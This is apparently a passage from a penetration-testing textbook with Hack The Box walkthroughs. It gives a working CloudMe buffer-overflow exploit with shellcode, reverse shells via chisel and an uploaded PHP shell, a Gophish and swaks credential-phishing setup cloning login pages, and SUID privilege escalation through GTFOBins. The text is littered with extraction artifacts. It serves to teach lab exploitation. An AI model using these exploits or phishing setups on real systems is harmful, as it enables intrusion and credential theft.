4 -LocalPort 8888).OwningProcess
5 Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
6 ------- ------ ----- ----- ------ -- -- -----------
7 390 26 31996 38624 640 0 CloudMe
Of course, we don't know who the owner of this process is because that information needs
a higher level of privilege than we have as the user shaun but as this is Hack The Box, it is
likely that all clues point to Administrator.
We could just use the exploit code on Exploit DB but we are going to do this from scratch.
We are going to do this on our Windows 10 Commando VM. Download the version of
CloudMe from Exploit DB (https://www.exploit-
db.com/apps/f0534b12cd51fefd44002862918801ab-CloudMe_1112.exe\). To explore the
program we are going to use the Immunity debugger (which can be installed from
https://www.immunityinc.com/products/debugger/\) and install the addon for Immunity
called mona (which can be installed from https://github.com/corelan/mona\).
Running CloudMe will involve registering an account (which is free). Once it is running,
close it and then drag and rop the exe file into an Immunity window. You should see
windows as shown here:
hide01.ir
If the program says Paused at the bottom right of the window, then select Run from the
Debug menu. We are going to send a pattern of text created by using msf-pattern_create -l
1500 on the command line or in Immnunity, you can use !mona pattern_create 1500 in the
command window at the bottom of the screen.
Once CloudMe is running, you can send the pattern to CloudMe using netcat:
This will cause an exception in the CloudMe app that will be reported by Immunity giving an
address that it is trying to execute.
hide01.ir
We can confirm the address that is causing the exception by looking at the values in the
registers which are listed in Immunity's register window:
1 EAX 00000001
2 ECX 77597084 msvcrt.77597084
3 EDX 0DE00000
4 EBX 69423569
5 ESP 00A3D3E0 ASCII "Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk
6 3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm
7 0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn
8 7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp
9 4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9
10 EBP 6A423969
11 ESI 37694236
12 EDI 42386942
13 EIP 316A4230
This shows the pattern on the stack pointed to by ESP and the instruction pointer EIP has
316A4230. If we use msf-pattern_offset to find out the offset, we find it is at 1052
1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $msf-pattern_offset -q 316A4230 -l 1500
3 [*] Exact match at offset 1052
Now that we know how to overwrite the instruction pointer held in EIP, the plan is to execute
shell code from the stack by using a jmp ESP instruction which will jump to, as in execute,
the address pointed to by the register ESP. We can use mona to search for this instruction
by using !mona jmp -r ESP.
We get a great deal of output showing the locations of either jmp esp instructions found
and the libraries they are found in, or other equivalent instructions like push esp + ret. This
works like a jump instruction because the return instruction ret will return to whatever is on
the top of the stack and the value stored in the register ESP is pushed to the top of the
stack with push esp.
Both the jmp esp and the push esp + ret are found in Qt5Core.dll and this library does not
have ASLR protection.
hide01.ir
1 0x68a98a7b : jmp esp | {PAGE_EXECUTE_READ}
2 [Qt5Core.dll] ASLR: False, Rebase: False,
3 SafeSEH: False, OS: False, v5.9.0.0
4 (c:\Users\rin\CloudMe\Qt5Core.dll)
5 0x68bad568 : jmp esp | {PAGE_EXECUTE_READ}
6 [Qt5Core.dll] ASLR: False, Rebase: False,
7 SafeSEH: False, OS: False, v5.9.0.0
8 (c:\Users\rin\CloudMe\Qt5Core.dll)
9 …
10 0x6ac0bfae : push esp # ret | {PAGE_EXECUTE_WRITECOPY}
11 [qwindows.dll] ASLR: False, Rebase: False,
12 SafeSEH: False, OS: True, v5.9.0.0
13 (C:\Users\rin\CloudMe\platforms\qwindows.dll)
14 0x68a842b5 : push esp # ret | {PAGE_EXECUTE_READ}
15 [Qt5Core.dll] ASLR: False, Rebase: False,
16 SafeSEH: False, OS: False, v5.9.0.0
17 (c:\Users\rin\CloudMe\Qt5Core.dll)
18 0x68aa11e6 : push esp # ret | {PAGE_EXECUTE_READ}
19 [Qt5Core.dll] ASLR: False, Rebase: False,
20 SafeSEH: False, OS: False, v5.9.0.0
21 (c:\Users\rin\CloudMe\Qt5Core.dll)
The exploit on Exploit DB chose to use the push esp instruction rather than the jmp esp one.
Either will work (you can verify this yourself). However, now that we have found out all of
the necessary information, we can go ahead and create exploit code. We will stick with
using shellcode that will run the application calc.exe. This makes testing easier because it
is simple visual way of making sure the exploit is working.
1 uvwxyz{|}~import socket
2 target = "127.0.0.1"
3 junk = b"A" * 1052
4 EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
5 NOPS = b"\x90" * 30
6 # msfvenom -a x86 -p windows/exec CMD=calc.exe \
7 # -b '\x00\x0A\x0D' -f python
8 buf = b""
9 buf += b"\xbf\xc9\x93\xa7\xbb\xd9"
10 buf += b"\xcb\xd9\x74\x24\xf4\x5b\x33"
11 buf += b"\xc9\xb1\x31\x83\xc3\x04"
12 buf += b"\x31\x7b\x0f\x03\x7b\xc6\x71"
13 buf += b"\x52\x47\x30\xf7\x9d\xb8"
14 buf += b"\xc0\x98\x14\x5d\xf1\x98\x43"
15 buf += b"\x15\xa1\x28\x07\x7b\x4d"
16 buf += b"\xc2\x45\x68\xc6\xa6\x41\x9f"
17
hide01.ir
buf += b"\x6f\x0c\xb4\xae\x70\x3d"
18 buf += b"\x84\xb1\xf2\x3c\xd9\x11\xcb"
19 buf += b"\x8e\x2c\x53\x0c\xf2\xdd"
20 buf += b"\x01\xc5\x78\x73\xb6\x62\x34"
21 buf += b"\x48\x3d\x38\xd8\xc8\xa2"
22 buf += b"\x88\xdb\xf9\x74\x83\x85\xd9"
23 buf += b"\x77\x40\xbe\x53\x60\x85"
24 buf += b"\xfb\x2a\x1b\x7d\x77\xad\xcd"
25 buf += b"\x4c\x78\x02\x30\x61\x8b"
26 buf += b"\x5a\x74\x45\x74\x29\x8c\xb6"
27 buf += b"\x09\x2a\x4b\xc5\xd5\xbf"
28 buf += b"\x48\x6d\x9d\x18\xb5\x8c\x72"
29 buf += b"\xfe\x3e\x82\x3f\x74\x18"
30 buf += b"\x86\xbe\x59\x12\xb2\x4b\x5c"
31 buf += b"\xf5\x33\x0f\x7b\xd1\x18"
32 buf += b"\xcb\xe2\x40\xc4\xba\x1b\x92"
33 buf += b"\xa7\x63\xbe\xd8\x45\x77"
34 buf += b"\xb3\x82\x03\x86\x41\xb9\x61"
35 buf += b"\x88\x59\xc2\xd5\xe1\x68"
36 buf += b"\x49\xba\x76\x75\x98\xff\x89"
37 buf += b"\x3f\x81\xa9\x01\xe6\x53"
38 buf += b"\xe8\x4f\x19\x8e\x2e\x76\x9a"
39 buf += b"\x3b\xce\x8d\x82\x49\xcb"
40 buf += b"\xca\x04\xa1\xa1\x43\xe1\xc5"
41 buf += b"\x16\x63\x20\xa6\xf9\xf7"
42 buf += b"\xa8\x07\x9c\x7f\x4a\x58"
43 payload = junk + EIP + NOPS + buf
44 try:
45 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46 s.connect((target,8888))
47 s.send(payload)
48 except Exception as e:
49 print(sys.exc_value)
In this code, we set a variable junk to be 1052 characters u. The next 4 bytes after that will
overflow into the EIP and so we create a variable with the address of the push esp + ret,
gadget. Finally, there is another variable NOPS that is set to 30 times the hex byte 90. I will
come back to what this is shortly. We can create the payload for the exploit using
msfvenom. The command syntax is shown in the code as a comment v. The -a flag is the
architecture of the exploit which is x86. The -p flag specifies the platform and, in this case,
it is a Windows executable with the executable specified by the CMD= parameter. We have
specified some bytes to avoid with the -b flag. This is done because sending null bytes and
carriage return or linefeed characters can cause some network connections to terminate
and we want to avoid them. Finally, we can specify the output format as Python using the -f
flag.
hide01.ir
Using the output from msfvenom, we create a variable buf to hold the shell code w. We then
construct the payload with the combination of junk + EIP + NOPS + buf x. Finally, we can
create a socket, connect to the target and send the payload y.
The result of running the exploit is shown below. If successful, you should see the
calculator application running.
One thing you will notice about the exploit code is that it has added 30 bytes of b"\x90"
which is called a NOP sled. The NOP instruction is a no operation instruction, as in, it
doesn't do anything. The processor will simply move to the next byte until it hits the shell
code. This allows for the possibility that we haven't been able to calculate the exact offset
for the shell code because of memory alignment or other factors.
To get this exploit running on the box, we need a tunnel and so you can use chisel (which
can be installed from https://github.com/jpillora/chisel\).
On the Parrot box run chisel as a server waiting for a reverse connection:
We will cover using chisel for tunnels in more detail when looking at pivoting but this is the
same principle as using SSH as a tunnel.
We can now connect to the CloudMe application from our Parrot box on 127.0.0.1 and port
8888
Taking the exploit code that we developed on the Windows machine, we need to replace the
shell code with a reverse shell again using msfvenom:
Start a listener on port 6003 and then run the exploit code:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Buff]
2
hide01.ir
└──╼ $nc -lvnp 6003
3 listening on [any] 6003 ...
4 connect to [10.10.14.137] from (UNKNOWN) [10.129.56.154]
5 Microsoft Windows [Version 10.0.17134.1610]
6 (c) 2018 Microsoft Corporation. All rights reserved.
7 C:\Windows\system32>whoami
8 whoami
9 buff\administrator
hide01.ir
In many cases, if you want access to a network, machine or even physical premises, the
easiest thing to do is to simply ask for it, especially if you pretend to be someone that has a
legitimate reason to be asking. More formally, social engineering is the use of deception to
manipulate a person into revealing some information or taking some sort of inappropriate
action on the attacker's behalf. Social engineering relies on exploiting human behavior
based on both their general human behaviors, and also through manipulation of individuals
based on their personal life or work.
want to be helpful
tend to trust people and communications that come from trusted people
are concerned about getting in trouble
are willing to cut corners
are willing to believe in good fortune
don't understand how technology works
Take all of these factors, add to them the number of legitimate emails that prompt for some
sort of interaction, it is not surprising that getting people to do something that allows
attackers to capture credentials, or run malware, is relatively straightforward.
hide01.ir
The principal way in which social engineering attacks are made is through phishing.
Attackers primarily use email to carry out attacks but the same techniques can be applied
to phishing by way of SMS , direct messages in messaging apps, automated robocalls
through telephones and even videoconferencing apps.
The goal of a phishing attack is to either get a user to click on a link that takes them to a
site under the attacker's control, or downloads and installs malware directly. In another
variant, malware may be sent directly as an attachment of the message and the receiver of
the email is socially engineered into installing the malware directly.
We are going to look at phishing in more detail by exploring the use of a social engineering
tool called Gophish. We will focus on attacks that trick a user into providing credentials on
a fake login page copied from a genuine service.
Phishing provides the largest and potentially most effective way of getting malware onto a
computer or convincing a target to reveal their user credentials, personal or financial
information and even take other actions on the attacker's behalf. Phishing's most common
channel is email and there are a number of tools that simplify the ability to create phishing
emails, send them to targets and monitor the responses.
Although there are a couple of tools on Parrot OS, they are dated, and their source code is
not maintained. The tool we will use is called Gophish (which can be installed from
https://github.com/gophish/gophish\) which is written in the programming language Go
and handles phishing campaigns and monitor the results. Although it can be used for
attacking, it can also be used for training staff in cybersecurity awareness by auditing how
many would respond to a particular phishing attack.
Phishing attacks are generally never one-off events but are instead part of a campaign
which is a series of attacks carried out over a period of time to achieve a set of goals.
Setting up a campaign involves; using an SMTP server to send the mail, choosing the email
text that you want to send, and selecting the users that the emails are going to be sent to.
hide01.ir
To get an idea of how this works in practice, we can run through a simple example of
setting up a credential harvesting website locally and send a phishing email.
There are a number of challenges an attacker needs to overcome when sending phishing
emails and that is a large reason that so many of them don't get through to the victim and
end up in the spam folder instead. The first is finding an open relay SMTP server. An SMTP
server is said to be an open relay when it allows unauthorized emails to be sent through it
and allows the sender email address and display name to be spoofed. An alternative to
finding an open relay SMTP server is for the attacker to set up their own SMTP server. In
either case, SMTP servers can become blacklisted if they are seen to be sending out large
numbers of emails that have been flagged as spam or phishing. A blacklisted SMTP server
may be prevented from sending email and may have all of its email flagged as spam.
An attacker could also use stolen credentials to use a legitimate email service to send
emails and this might work when the email attack is targeted at a specific person, an attack
known as a spear phishing attacks.
Choosing the content of the email involves the attacker masquerading as a sender and
creating an email in the style of one that would be sent by them. Attackers often pretend to
be a group like IT support or help desk asking for email account verification. Other
commonly spoofed organizations are couriers or postal services sending email that claims
there to be unpaid shipping on a parcel that contains something of value. You will have
likely seen many examples of these types of emails arriving in your inbox or spam folder on
a daily basis.
Setting up a spoofed website is perhaps the easiest part of the phishing campaign. In our
example we are going to clone the GitHub login page, but it is straightforward to use any
social media login page, or any other company's login page for that matter. Once the
spoofed site is set up, Gophish will record visits to the site and optionally will record the
usernames and passwords entered by victims. Once the credentials are harvested, the user
can be redirected to the real site to reduce suspicion that they were tricked.
Normally, an attacker would make the site more convincing by using SSL and having a
certificate that matched the domain name chosen for the site. Users have been taught to
make sure that the sites they visit are protected by looking for the padlock in the browser
that indicates the site is using SSL and that the certificate is valid. Browsers will now warn
users when they visit a site that is not SSL protected. Also, you would want a URL that is
hide01.ir
close enough to the real URL you are spoofing in order to pass casual scrutiny by the user.
In our exercise, we are not going to bother with SSL certificates or setting up a domain for
the URL.
To install Gophish, you can download a release, unzip and use it directly
(https://github.com/gophish/gophish/releases/\). When run as root, Gophish will start two
web servers, one on port 80 that will host the phishing landing pages and the other on port
3333 which is the administration site. Opening the admin site in a browser, you can log in
with the user admin and the password that was printed out on the console when you ran it.
You will be prompted to change the admin password. You will see the Dashboard.
To start, we will create a sending profile. For this, I am going to use a Gmail account that I
have created specifically to use for this example. If you create an account on Gmail, you
will need to change the security settings for Gmail to allow non-secure applications to
hide01.ir
access the account. Click on Sending Profiles and then Add New and then complete the
form using the details of your Gmail account as shown in Figure 6-2. In the From field, the
name that you add here will be displayed in the receiver's inbox. If you are using Gmail, the
from email address will always be the email of the account you are using to send the email.
To change this, you would need to use your own SMTP server. This is not so much of a
problem as many users will not check this when reading emails.
Next, we are going to create an email template that will be based on the invitations that
GitHub sends to users to collaborate on a repository. I have copied the HTML from a real
email but if you don't have one, you can just type an email in the editor. Email templates will
substitute values in the template that are in double braces . The ones we are using here are
the target's email address , and the phishing URL which is used as a link in the text.
hide01.ir
Save the template and now click on Landing Page and Add New to create a new landing
page (Figure 6-4). We can use the Import Site button to import the page from the GitHub
Login page and add the same URL to redirect to after the credentials are captured.
hide01.ir
Now that this has been done, we need to define the list of users to send emails to in the
Users & Groups page. Here, just add your own email address or create another account to
receive the emails. The first and last name and position can all be used within the email
templates to add to the personalization of the emails sent.
Finally, we can create a campaign and send the phishing email. In Campaign, click New
Campaign and fill out the details (Figure 6-5). For the URL, you want to use your own IP
address.
hide01.ir
Once the Launch Campaign button is pressed, the email should be sent and you should
receive an email based on the template you used.
hide01.ir
Clicking on the accept or decline link will take you to the phishing landing page.
hide01.ir
Entering a username and password and clicking Sign in should then redirect you to the
GitHub login page with no feedback. Note that if you actually have a GitHub account and
are already authenticated by the browser, when the phishing landing page redirects, it will
take you straight to your default GitHub page and so it will look like the login was
successful.
The Dashboard page on Gophish will update to say that the email was clicked and that you
visited the landing page.
hide01.ir
You can click the Submitted Data button to view the details of the interaction with the target
page and see the data entered in the login page.
hide01.ir
Details of the interactions of the target with the email and landing page
.
hide01.ir
.
hide01.ir
Exercise: Phishing on SneakyMailer
The Hack The Box machine SneakyMailer is running a number of services; FTP (port 21),
SSH (port 22), SMTP (port 25), HTTP (port 80), IMAP (port 143), IMAP TLS (port 993), HTTP
(port 8080). The main website on port 80 has a team member list from which names and
email addresses can be harvested to create a candidate user list. Running Gobuster on the
site reveals a PHP file register.php
Running an nmap scan, we find a number of ports open: FTP (21), SSH (22), SMTP (25),
HTTP (80), IMAP (143), IMAP TLS (993), HTTP (8080)
It seems the machine is running two websites and an email server supporting SMTP and
IMAP. The FTP server does not support anonymous logon and so we can look at the main
web server on port 80. Going to http://sneakymailer.htb, it redirects to the URL
http://sneakycorp.htb and so we can add that name to the hosts file. Visiting that URL
takes us to a landing page for SNEAKY CORP which is a Dashboard showing information
about 2 projects, PyPi and POP3/SMTP.
hide01.ir
Sneaky Corp Dashboard
.The Team page gives a list of team members with email addresses.
.We can grab all of the email addresses by using the command
<td>[email protected]</td>
We can use cut to delimit (-d) based on the character of the '>' and select the second field
that results, then get rid of the final HTML with a second cut command. The entire output
consisting of just the emails can then be saved to a file emails.txt.
Note that you can also simply copy paste the text from the page into a spreadsheet or
editor and manually then copy the emails.
We haven't finished our reconnaissance of the web site yet however and we will run
gobuster on the site:
1 ┌─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
4 -u http://sneakycorp.htb/
5 …
6 /img (Status: 301)
7 /css (Status: 301)
8 /js (Status: 301)
9 /vendor (Status: 301)
10 /pypi (Status: 301)
We get a number of directories, the most interesting of which is pypi. We can run a further
gobuster on this directory:
1 ┌─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\
4
hide01.ir
-x .php -u http://sneakycorp.htb/pypi/
5 /register.php (Status: 200)
Filling out details and clicking register account does not seem to do anything. No account
is added to the emails in the team page and there is nowhere to actually login. Likewise, the
Logout function on the home page does not do anything either.
Given we have found email addresses and a registration page and the fact that the
machine has a mail server and is called SneakyMailer, we can guess that this may be
suggesting that we could exploit a phishing attack.
At this point it would be relatively simple to use Gophish to set up a campaign, clone the
registration web page and capture any responses. However, we will use a different tool to
clone the web page called HTTrack. HTTrack is capable of copying an entire website, but
we will use it to capture the registration page.
Create a directory called www and a subdirectory called templates. cd to the templates
directory and run:
hide01.ir
httrack http://sneakycorp.htb/pypi/register.php -o .
This will copy a number of files but we can copy the register.html page created from the
path sneakycorp.htb/pypi/register.html to the current directory
cp sneakycorp.htb/pypi/register.html
We are now going to write a simple application to host this page, capture any data that is
sent to it and then redirect to the real registration page. To do this we will use Python and
Flask.
This code will start a web server listening on port 80 and any request received with the path
/pypi/register.php will be handled by the method register(). If the HTTP request is a GET,
then it will use the page we cloned; register.html as a template and return that. If it is a
POST request, the application will print out the arguments and form data and then redirect
to the real registration page.
You can test the page by visiting http://127.0.0.1/pypi/register.php and submit the form.
You should see the data being printed out and the page redirect to the sneakycorp.htb site.
Now that we have the landing page, we need to send the phishing emails using the email
list we scraped from the Sneaky Corp site. To do that, we are going to use SWAKS as
mentioned before. We can write a script to read through the emails in the emails.txt file and
send a message containing the URL for the phishing landing page:
1 #!/bin/bash
2 for email in `cat emails.txt`
3 do
4 echo "[*] sending to $email"
5 swaks --from [email protected] --to $email
6 --server sneakycorp.htb
7 --header 'Subject: Please register your account'
8 --body 'http://10.10.14.117/pypi/register.php'
9 done
1 ┌─[✗]─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $sudo python3 app.py
3 [sudo] password for rin:
4 * Serving Flask app "app" (lazy loading)
5 * Environment: production
6 WARNING: This is a development server. Do not use it in
7 a production deployment.
8 Use a production WSGI server instead.
9 * Debug mode: off
10 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
11 ImmutableMultiDict([])
12 ImmutableMultiDict([('firstName', 'Paul'),
13 ('lastName', 'Byrd'), ('email',
14 '[email protected]'),
15 ('password', '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'),
16 ('rpassword', '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht')])
17 10.129.2.28 - - [15/Dec/2020 13:15:06]
18 "POST /pypi/register.php HTTP/1.1" 302 -
The user Paul Byrd with email address [email protected] and password
^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht responded to the phishing email.
hide01.ir
These credentials don't work with FTP or SSH but we can use them to connect to the mail
server and read emails.
You may get an error regarding an error regarding a certificate but you can ignore that. In
the Sent Items folder, there are two emails. The first is regards to a password reset request
hide01.ir
From the first email, we have a username and password for developer and logging into FTP,
we see that these credentials work. After logging in, we can see that there is a dev folder
with the contents of what looks like the website in it.
1 ┌─[rin@parrot]─[~/boxes/SneakyMailer/]
2 └──╼ $ftp sneakymailer.htb
3 Connected to sneakymailer.htb.
4 220 (vsFTPd 3.0.3)
5 Name (sneakymailer.htb:oztechmuse): developer
6
hide01.ir
331 Please specify the password.
7 Password:
8 230 Login successful.
9 Remote system type is UNIX.
10 Using binary mode to transfer files.
11 ftp> dir
12 200 PORT command successful. Consider using PASV.
13 150 Here comes the directory listing.
14 drwxrwxr-x 8 0 1001 4096 Jun 30 00:15 dev
15 226 Directory send OK.
16 ftp> cd dev
17 250 Directory successfully changed.
18 ftp> dir
19 200 PORT command successful. Consider using PASV.
20 150 Here comes the directory listing.
21 drwxr-xr-x 2 0 0 4096 May 26 2020 css
22 drwxr-xr-x 2 0 0 4096 May 26 2020 img
23 -rwxr-xr-x 1 0 0 13742 Jun 23 08:44 index.php
24 drwxr-xr-x 3 0 0 4096 May 26 2020 js
25 drwxr-xr-x 2 0 0 4096 May 26 2020 pypi
26 drwxr-xr-x 4 0 0 4096 May 26 2020 scss
27 -rwxr-xr-x 1 0 0 26523 May 26 2020 team.php
28 drwxr-xr-x 8 0 0 4096 May 26 2020 vendor
29 226 Directory send OK.
30 ftp>
We can try writing to the directory by using a put command. It turns out that we can upload
files to the dev directory but when looking at the website, they are not there. One thing we
haven't checked is if there are any virtual hosts. Virtual hosts are ways of creating different
websites pointing at different directory paths simply by changing the host name in the
HTTP request. We can use gobuster to see if there are any virtual hosts for the domain
sneakycorp.htb and indeed we find that there is a virtual host dev.sneakycorp.htb:
1 ┌─[✗]─[oztechmuse@parrot]─[~/boxes/SneakyMailer/]
2 └──╼ $gobuster vhost -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\
4 -u sneakycorp.htb
5 <SNIP>
6 ===============================================================
7 Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
hide01.ir
We can upload a PHP reverse shell that we copy from /usr/share/webshells/php/php-
reverse-shell.php. We can change the IP address and port in the file and start a netcat
listener on that port. In ftp we simply cd to the dev directory and do a put of the file.
Calling the file from http://dev.sneakycorp.htb/revshell.php will get a reverse shell on our
listener:
1 ┌─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.2.28] 45354
5 Linux sneakymailer 4.19.0-9-amd64
6 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
7 08:01:00 up 10:35, 0 users, load average: 0.00, 0.02, 0.00
8 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
9 uid=33(www-data) gid=33(www-data) groups=33(www-data)
10 /bin/sh: 0: can't access tty; job control turned off
11 $ whoami
12 www-data
A user on a system is granted privileges to perform actions on that system. On Linux, user
privileges are expressed as the ability to read from, write to or execute files on the system.
These privileges are a property of the file itself rather the actual user. Users belong to
groups and file permissions can be limited to specific groups as well.
This shows the file permissions for a file file.sh. You can get this listing by doing an ls -l at
the shell prompt. The permissions are listed to the left and start with the file type. This will
be 'd' for a directory and '-' for a file. This is followed by the read (r), write (w) and execute
(x) permissions in 3 sets of 3. The first set of permissions apply to the owner of the file, in
this case rin, the second group of permissions apply to the group 'web' and the third set of
permissions applies to everyone else or 'all'.
These permissions are set on directories as well. In the case of directories, the execute
permission allows a user to enter and list the directory.
hide01.ir
There are other permissions that are important as well, the main one being the set user or
group id (SUID or SGID) permission. The SUID bit means that anyone else who has
permission to run the program will run as the effective user id of the owner of the file. We
can demonstrate this with the following program:
1 #include <stdio.h>
2 #include <unistd.h>
3 int main ()
4 {
5 printf("Real uid: %d\n", getuid());
6 printf("Effective uid: %d\n", geteuid());
7 }
This just prints out the user id and effective user id. If we compile the program, chane the
ownership to user root and group root and then run it we get:
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $gcc -o testuid testuid.c
3 ┌─[rin@parrot]─[~/boxes/book]
4 └──╼ $ls -al
5 total 28
6 drwxr-xr-x 1 rin rin 58 Dec 23 11:23 .
7 drwxrwxrwx 1 rin rin 190 Dec 23 10:37 ..
8 -rwxr-xr-x 1 rin rin 16712 Dec 23 11:23 testuid
9 -rw-r--r-- 1 rin rin 147 Dec 23 11:19 testuid.c
10 ┌─[rin@parrot]─[~/boxes/book]
11 └──╼ $sudo chown root:root testuid
12 ┌─[rin@parrot]─[~/boxes/book]
13 └──╼ $./testuid
14 Real uid: 1000
15 Effective uid: 1000
This prints out the user id of rin which is 1000. if we now set the suid bit with chmod and
run again, we get:
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $sudo chmod u+s testuid
3 ┌─[rin@parrot]─[~/boxes/book]
4 └──╼ $./testuid
hide01.ir
5 Real uid: 1000
6 Effective uid: 0
The effective uid is now 0 which is the user id of root. It is sometimes convenient to use
suid or sgid on a binary but it obviously opens up a vulnerability through granting someone
unintended privileges through simple oversight. We can search for files with these
permissions set with the find command:
The permissions described here are not the only way to control access to files in Linux or
other Unix systems. Linux supports Access Control Lists (ACLs) on files as well that allow
more sophisticated control over who gets access to a file and what they can do with it. We
can look at the ACL of a file using getfacl
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $getfacl testuid
3 # file: testuid
4 # owner: root
5 # group: root
6 # flags: s--
7 user::rwx
8 group::r-x
9 other::r-x
By default, the ACL will be set to the permissions on the file. We can set additional access
controls using setfacl. When this is used, the file listing will have the + flag set on it. Let us
take a file file.txt that is created by root and has the contents "Hello World" in it. When user
rin tries to read the file, she will get permission denied:
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $ls -al
3 total 32
4
hide01.ir
drwxr-xr-x 1 rin rin 62 Dec 23 12:23 .
5 drwxrwxrwx 1 rin rin 190 Dec 23 10:37 ..
6 -rw-r----- 1 root root 13 Dec 23 12:24 file.txt
7 ┌─[✗]─[rin@parrot]─[~/boxes/book]
8 └──╼ $cat file.txt
9 cat: file.txt: Permission denied
If we now set an ACL to allow rin to read the file, list the file and then cat again we get:
1 ┌─[✗]─[rin@parrot]─[~/boxes/book]
2 └──╼ $sudo setfacl -m u:rin:r file.txt
3 ┌─[rin@parrot]─[~/boxes/book]
4 └──╼ $ls -al
5 total 32
6 drwxr-xr-x 1 rin rin 62 Dec 23 12:23 .
7 drwxrwxrwx 1 rin rin 190 Dec 23 10:37 ..
8 -rw-r-----+ 1 root root 13 Dec 23 12:24 file.txt
9 ┌─[rin@parrot]─[~/boxes/book]
10 └──╼ $cat file.txt
11 Hello World
Note the + on the permissions after setting the ACL. rin can now read the file. If we list the
ACL of the file, we can see that the user rin has been granted access to file.txt in addition to
the owner root.
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $getfacl file.txt
3 # file: file.txt
4 # owner: root
5 # group: root
6 user::rw-
7 user:rin:r--
8 group::r--
9 mask::r--
10 other::---
We have seen an example of the use of suid files in the Hack The Box machine Ellingson
(REF XXX) where a buffer overflow of an application, owned by root and with the suid
hide01.ir
permission set allowed us to run a shell as root. Having a file with suid set and owned by a
more privileged user is only part of the equation. We also need to find a way for that
running that program will allow us to perform an action such as run a local or reverse shell
or read or write to a file. Fortunately, there are a large number of Linux applications that will
allow us to do exactly that. A list of them is available on GTFOBins
(https://gtfobins.github.io/#+suid\). As an example, we can take the application find. Here
we are going to create a local copy of the find command and set the suid bit on it and then
execute to drop to a shell as root.
1 ┌─[rin@parrot]─[~/boxes/book/test]
2 └──╼ $sudo install -m =xs $(which find) .
3 [sudo] password for rin:
4 ┌─[rin@parrot]─[~/boxes/book/test]
5 └──╼ $./find . -exec /bin/sh -p \; -quit
6 # whoami
7 root
8 # id
9 uid=1000(rin) gid=1000(rin) euid=0(root) egid=0(root)
10 groups=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),
11 29(audio),30(dip),44(video),46(plugdev),109(netdev),
12 118(debian-tor),124(bluetooth),140(scanner),1000(rin)
13 #
This type of exploit is called living of the land (LoTL) as we are exploiting tools and
applications that are already on the system and not having to install bespoke software that
might get picked up by AV software or other software monitoring for unusual activity.
Linux Enumeration
One of the easiest things to do to enumerate a system after gaining access is to run a script
file like PEAS (Privilege Escalation Awesome Scripts)
(https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite\). This checks
for an extensive, but not necessarily exhaustive, list of potential vulnerabilities. It produces
a great deal of output that is colour coded and references explanations of its findings on
the GitHub site HackTricks (https://book.hacktricks.xyz/linux-unix/privilege-
escalation#path\).
hide01.ir
Going through each of the specific things that LinPEAS checks will be too extensive and so
we will not go through each step but focus on the main general areas that could be done
manually as well. The basic principles however is to run through an enumeration process
that is looking for vulnerabilities, including misconfigurations that are exploitable and any
information that we can use for both further access and exploitation or simply information
that is of value from the target.
The enumeration will aim to understand the system that you have access to in detail
including, the physical characteristics, network, software that is running on it, including
system software. As with remote access, we are looking for vulnerabilities related to
software versions that we can exploit because we have local access. The same rules apply
as before, depending on whether we actually have the user's password and are able to
exploit authenticated vulnerabilities as well as unauthenticated ones. Whilst doing this, we
are going to pay specific attention to potential misconfigurations that can be exploited such
as execution paths that allow scripts and binaries to be run as part of the normal
processing on the system. User privileges that allow execution of administrative commands
such as sudo, installing or running services, etc
At the same time, we are searching for information that might be accessible and useful,
including but not limited to, usernames and passwords. This might be in documents,
configuration files and databases.
The file layout of a Linux (or *nix) machine is usually of the format
In more detail:
/ is the root directory and only the user root has access to write in this directory. The user
root's home directory is /root.
/bin contains user binary executables like ps, ls, ping, grep etc. it is a symbolic link to
/usr/bin
/sbin contains system binaries like iptables, reboot, fdisk, ifconfig, etc.
/etc contains configuration files and scripts for services running on the system.
Configuration files for the Apache 2 web server are in /etc/apache2 for example. Also
contains the passwd and shadow files that contain user and password information.
